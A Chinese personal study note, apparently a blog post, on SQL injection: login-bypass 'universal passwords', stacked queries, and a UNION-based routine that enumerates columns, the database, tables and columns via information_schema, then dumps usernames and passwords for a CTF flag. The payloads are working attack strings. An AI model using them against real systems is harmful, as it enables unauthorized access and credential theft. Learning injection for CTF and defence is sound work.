SQL注入学习笔记(一)

(仅供自己记录并复习学习内容 )

1.万能密码

先确认闭合方式,为1或’1‘或“1”

对应得到万能密码a or true #或a' or true #或a“ or true #

原理为先确认闭合方式,再通过截断使正常sql查询语句失效

2. 堆叠注入

通过传入结束符;+新的sql语句来获取想要的信息——通过结束符同时执行多条sql语句

使用条件较为苛刻:

(1)有sql注入漏洞

(2)可以同时执行多条sql语句

(3)结束符未被屏蔽

 3.传统注入思路

(0)先确定是否存在sql注入漏洞,与sql注入类型

(1)登陆后爆字段。确认有几个字段

1' order by 1 %23
1' order by 2 %23
1' order by 3 %23

(2)看回显。意为哪些字段可回显到前端,如果第2,3字段回显,那后续要查找的信息就填在2,3字段

1' union select 1,2,3

(3)爆数据库。得到数据库名

1' union select 1,database(),version() 

(4)爆数据库的表。得到表名

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

(5)爆表的列。得到列名

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='AAA'

(6)读取内容,爆flag

1' union select 1,2,group_concat(id,username,password) from AAA%23&password=1

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值